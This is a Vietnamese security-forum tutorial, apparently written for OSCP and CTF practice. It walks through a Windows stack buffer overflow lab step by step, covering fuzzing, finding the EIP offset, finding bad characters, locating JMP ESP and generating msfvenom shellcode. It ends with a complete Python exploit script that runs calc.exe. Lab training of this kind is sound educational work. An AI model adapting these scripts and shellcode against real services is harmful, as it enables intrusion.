Thực hành khai thác BOF trên windows

Marcus1337

VIP Members
01/04/2021
62
76 bài viết
Thực hành khai thác BOF trên windows
Chào anh em! Ở bài trước mình đã giới thiệu phần lý thuyết nhàm chán về BOF, nếu anh em nào chưa đọc thì lướt qua tý nhé.

Hôm nay, chúng ta hãy cùng làm 1 bài lab đơn giản để hiểu hơn về BOF và biết cách viết exploit trong các trường hợp cơ bản. Bài này sẽ phù hợp cho bạn nào đang ôn luyện OSCP hoặc tìm hiểu chơi CTF phần PWN.


Trong bài này chúng ta sẽ thử tiến hành khai thác một lỗi BOF cơ bản trên nền windows 32bit
Chuẩn bị:

Đầu tiên mình cần chạy thử chương trình để xem cách chương trình hoạt động:

p1.png
Trên máy ubuntu kết nối đến chương trình qua cổng 1337

p2.png
Chương trình oscp.exe gồm 10 bài lab khác nhau về BOF trên stack. Chương trình sẽ mở mặc định kết nối ở cổng 1337. Và nhận lệnh : OVEFLOW<lab> <data> sẽ đẩy phần data theo từng lab khác nhau.

Để khai thác BOF mình sẽ follow theo quy trình dưới đây:

p3.png

Mở chương trình với Immunity debugger

Chọn File ⇒ Open ⇒ oscp.exe
p4.png

p5.png

Hướng dẫn sử dụng thêm về Immunity debugger các bác có thể xem thêm ở đây
Sau đó nhấn phím F9 hoặc Debug ⇒ Run để chạy chương trình

Fuzzing

Để biết được một chương trình có bị BOF hay không thì các bạn có thể dùng cách phân tích revese code xem cách xử lý bộ nhớ của chương trình hoặc phân tích động bằng cách fuzzing truyền các payload có kích thước lớn và các điểm gây crash chương trình.

Output của quá trình fuzzing là phải tìm ra được BOF ở biến nào và kích thước payload là bao nhiêu? Nguyên lý fuzzing để tìm các lỗi BOF khá đơn giản là liên tục gửi data vào các biến truyền vào với kích thước tăng dần đều đến khi thấy dấu hiệu chương trình crash. Dưới đây là chương trình fuzzing cơ bản của mình cho bài này:

Mã:
import socket, time, sys
ip = "172.16.39.132"
port = 1337
timeout = 5
buffer = []
counter = 100
while len(buffer) < 30:
   buffer.append("A" * counter)
    counter += 100
for string in buffer:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        connect = s.connect((ip, port))
        s.recv(1024)
        print("Fuzzing with %s bytes" % len(string))
        s.send("OVERFLOW1 " + string + "\\r\\n")
        s.recv(1024)
        s.close()
    except:
        print("Could not connect to " + ip + ":" + str(port))
        sys.exit(0)
    time.sleep(1)

Chạy đoạn code fuzzing từ máy ubuntu ta thấy ở payload 2000 bytes thì chương trình bị crash:

p6.png

Quay sang bên máy windows lúc này sẽ thấy chương trình đã bị crash

p7.png


p8.png
Trên chương trình Immunity debugger ở góc bên phải đã xuất hiện chữ màu vàng Paused thay cho trạng thái Running là dấu hiệu của việc chương trình bị crash

Thanh ghi EIP đã bị ghi đè thành 0x41414141 là 4 chữ cái AAAA do đó chương trình không biết phải thực thi lệnh tiếp theo ở đâu do địa chỉ 0x41414141 không tồn tại vì thế mới xảy ra hiện tượng crash

Kiểm tra điểm gây crash

Để chắc chắn với 2000bytes thì chương trình luôn bị crash. Chúng ta viết đoạn code gửi 2000bytes đến chương trình và xác nhận lại việc sẽ làm crash chương trình:
Mã:
import socket, time, sys
ip = "172.16.39.132"
port = 1337
timeout = 5

payload = "A"*2000
try:
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(payload))
    s.send("OVERFLOW1 " + payload + "\\r\\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
time.sleep(1)

Find EIP offset

Với 2000bytes thanh ghi EIP đã bị ghi đè giá trị. Chúng ta cần phải tìm ra khoảng cách đề thay vì ghi đè 4 chữ A vô nghĩa thì ta sẽ ghi đè về 1 con trỏ hàm nhằm inject thực thi shell code.

Để tìm offset có 1 mẹo nhỏ là chúng ta sẽ tạo 2000bytes với từng cặp 4bytes 1 khác nhau. Để khi chương trình bị crash chúng ta có thể biết ở bytes thứ bao nhiêu là bắt đầu địa chỉ EIP

Đầu tiên set folder cho mona đây là folder output các command của mona trong

Mã:
!mona config -set workingfolder c:\\mona\\%p
=> lệnh này sẽ setup thư mục theo tên process ví dụ process có tên oscp.exe thì thư mục mona là c:\\mona\\oscp

Tạo 2000bytes pattern sử dụng mona:

Mã:
!mona pc 2000

Sau khi chạy lệnh mona sẽ gen file chứa các mẫu được lưu ở thư mục làm việc đã cấu hình. Chúng ta đọc file partern.txt và copy pastern rồi gửi tới server
p9.png

Quay lại immunity debugger nhấn tổ hợp phím CTRL +F2 để restart và F9 để run chương trình. Sau đó gửi chạy script
Mã:
import socket, time, sys
ip = "172.16.39.132"
port = 1337
timeout = 5

payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
try:
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Send payload with %s bytes" % len(payload))
    s.send("OVERFLOW1 " + payload + "\\r\\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
time.sleep(1)

Khi chương trình bị crash trên giao diện của immunity debugger copy giá trị địa chỉ của thanh ghi EIP

p10.png

Sau đó dùng câu lệnh mona để tìm offset:

Mã:
!mona po 7526C6D2

p11.png

Chúng ta sẽ tìm được offset để ghi đè thanh ghi EIP là 1978.

Tìm các Bad character

Thông thường các chương trình sẽ có các bad character là các ký tự mà chương trình sẽ bỏ qua không xử lý. Nếu payload của mình chèn vào có chứa các ký tự bad character này thì việc khai thác sẽ không thành công do việc ghi đè sẽ không diễn ra như mình mong muốn. Do đó cần phải xác định các ký tự bad character này trước khi gửi mã khai thác.

Đồng thời trong phần này mình cũng sẽ kiểm chứng lại offset 1978 mình tìm thấy có đúng không bằng cách ghi đè vào thanh ghi EIP giá trị khác AAAA. Tạm thời mình sẽ ghi giá trị BBBB trước.

Đầu tiên mình sẽ tạo list danh sách các character cần test. vì giá trị \x00 là ký tự null nên nó là bad character trên hầu hết các chương trình do đó mình sẽ mặc định mình có bad character \x00 và cần tìm các bad character còn lại:
Mã:
for x in range(1, 256):
  print("\\\\x" + "{:02x}".format(x), end='')
print()
Mã:
#\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff
Ở đây list các test character có thể dùng từ file python hoặc dùng mona để tạo

Mã:
!mona bytearray -b "\\x00"

Nguyên tắc của việc tìm bad character là gửi hết các character vào payload sau đó tìm debug xem file dump của stack để xem character nào không được lưu vào stack thì đó là bad character.
Mã:
import socket, time, sys
ip = "172.16.39.132"
port = 1337
timeout = 5

offset = 1978
padding  = "A" * offset
new_eip = "BBBB"
found_bad_character = "\\x00" # Note lai cac bad character tim thay
badchars = "\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff"
payload = padding + new_eip + badchars
try:
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(payload))
    s.send("OVERFLOW1 " + payload + "\\r\\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
time.sleep(1)
Restart lại program bằng CTRL+ F2 sau đó chạy bằng F9. chạy script trên
p12.png

Chúng ta sẽ thấy chương trình bị crash, để ý thanh ghi EIP lúc này có giá trị 424242 chứng tỏ offset mình tìm được ban đầu đúng và mình đã ghi thành công giá trị này. Thanh ghi ESP lúc này có giá trị 0x0177FA30

Chúng ta sẽ sử dụng mona để tự động so sánh và tìm bad character bằng lệnh :

Mã:
!mona compare -f C:\\mona\\oscp\\bytearray.bin -a 0177FA30
//Lưu ý file bytearray.bin là file được sinh ra khi tạo lệnh gen !mona bytearray -b "\\x00"
p13.png


Khi nhìn vào kết quả của lệnh !mona, ta sẽ thấy các bad character được tìm thấy là : 00 07 08 2e 2f a0 a1. Tuy nhiên chỉ có 2 giá trị 0007 là chắc chắn bởi vì các character phía sau 08,2e,2f,a0,a1 có thể là báo nhầm do trong payload mình truyền vào có bad character 07 ảnh hưởng đến kết quả. Ta sẽ xóa ký tự 07 trong payload file tìm bad character và gửi lại lên server sau đó cũng dùng cách tương tự để phát hiện bad character. Quá trình tìm và xóa các bad character đi được lặp lại cho đến khi thông báo so khớp của mona xuất hiện không tìm thấy ký tự nào nữa.

Sau quá trình lặp lại đó chúng ta sẽ có danh sách bad character cuối cùng : "\x00\x07\x2e\xa0"

Finding JMP ESP

Chúng ta sẽ giải quyết bài toán tiếp theo là thanh ghi EIP sẽ trỏ về đâu. Vì dữ liệu kiểm soát được nằm ở trên stack, do đó phải tìm các hàm cho phép chúng ta nhảy đến thực thi code trên stack như JMP ESP. Ta sử dụng mona để tìm kiếm các địa chỉ chứa lệnh này:

Mã:
mona jmp -r esp -cpb "\\x00\\x07\\x2e\\xa0"

p14.png

Copy địa chỉ hàm tìm thấy ở đây ta sẽ sử dụng hàm ở địa chỉ 0x62501203. Do đó ta sẽ ghi đè địa chỉ EIP về địa chỉ 0x62501203

Tạo Shellcode
Tạo payload mở chương trình calc.exe huyền thoại bằng msfvenom:

Mã:
msfvenom -p windows/exec CMD=calc.exe -f python --platform win --arch x86  -b "\\x00\\x07\\x2e\\xa0"
p15.png


Khai thác
Chúng ta sẽ có file exploit cuối cùng. Ở phần này mình có thêm đoạn padding "\x90"*16. "\x90" là lệnh nop trong assembly có nghĩa là gặp lệnh này nó không làm gì cả. Chúng ta thêm 16 ký tự nop nhằm mục đích là để phòng con trỏ esp bị dịch lên 1 vài byte thì payload của mình vẫn hoạt động ổn
Mã:
import socket, time, sys
import struct

ip = "172.16.39.132"
port = 1337
timeout = 5

badchar = "\\x00\\x07\\x2e\\xa0"

total_length = 2000
offset = 1978
padding  = "A" * offset
new_eip = struct.pack("<I",0x62501203)
append = "C" * (total_length - len(padding) - len(new_eip))
nop_padding = "\\x90"*16

buf =  b""
buf += b"\\xda\\xc0\\xd9\\x74\\x24\\xf4\\x5b\\x31\\xc9\\xba\\x49\\x14\\x41"
buf += b"\\xe9\\xb1\\x31\\x83\\xc3\\x04\\x31\\x53\\x14\\x03\\x53\\x5d\\xf6"
buf += b"\\xb4\\x15\\xb5\\x74\\x36\\xe6\\x45\\x19\\xbe\\x03\\x74\\x19\\xa4"
buf += b"\\x40\\x26\\xa9\\xae\\x05\\xca\\x42\\xe2\\xbd\\x59\\x26\\x2b\\xb1"
buf += b"\\xea\\x8d\\x0d\\xfc\\xeb\\xbe\\x6e\\x9f\\x6f\\xbd\\xa2\\x7f\\x4e"
buf += b"\\x0e\\xb7\\x7e\\x97\\x73\\x3a\\xd2\\x40\\xff\\xe9\\xc3\\xe5\\xb5"
buf += b"\\x31\\x6f\\xb5\\x58\\x32\\x8c\\x0d\\x5a\\x13\\x03\\x06\\x05\\xb3"
buf += b"\\xa5\\xcb\\x3d\\xfa\\xbd\\x08\\x7b\\xb4\\x36\\xfa\\xf7\\x47\\x9f"
buf += b"\\x33\\xf7\\xe4\\xde\\xfc\\x0a\\xf4\\x27\\x3a\\xf5\\x83\\x51\\x39"
buf += b"\\x88\\x93\\xa5\\x40\\x56\\x11\\x3e\\xe2\\x1d\\x81\\x9a\\x13\\xf1"
buf += b"\\x54\\x68\\x1f\\xbe\\x13\\x36\\x03\\x41\\xf7\\x4c\\x3f\\xca\\xf6"
buf += b"\\x82\\xb6\\x88\\xdc\\x06\\x93\\x4b\\x7c\\x1e\\x79\\x3d\\x81\\x40"
buf += b"\\x22\\xe2\\x27\\x0a\\xce\\xf7\\x55\\x51\\x84\\x06\\xeb\\xef\\xea"
buf += b"\\x09\\xf3\\xef\\x5a\\x62\\xc2\\x64\\x35\\xf5\\xdb\\xae\\x72\\x09"
buf += b"\\x96\\xf3\\xd2\\x82\\x7f\\x66\\x67\\xcf\\x7f\\x5c\\xab\\xf6\\x03"
buf += b"\\x55\\x53\\x0d\\x1b\\x1c\\x56\\x49\\x9b\\xcc\\x2a\\xc2\\x4e\\xf3"
buf += b"\\x99\\xe3\\x5a\\x90\\x7c\\x70\\x06\\x79\\x1b\\xf0\\xad\\x85"

shell_code = buf

payload = padding + new_eip + nop_padding + shell_code
try:
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    connect = s.connect((ip, port))
    s.recv(1024)
    print("Fuzzing with %s bytes" % len(payload))
    s.send("OVERFLOW1 " + payload + "\\r\\n")
    s.recv(1024)
    s.close()
except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
time.sleep(1)

Và đây là thành quả

p16.png

Đây là cách exploit cơ bản nhất trên nền tảng intel x86. Các bạn luyện thêm viết exploit cho các OVERFLOW2 -10 nhé.
Happy hacking !!!
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Thẻ
bof exploit pwn
Bên trên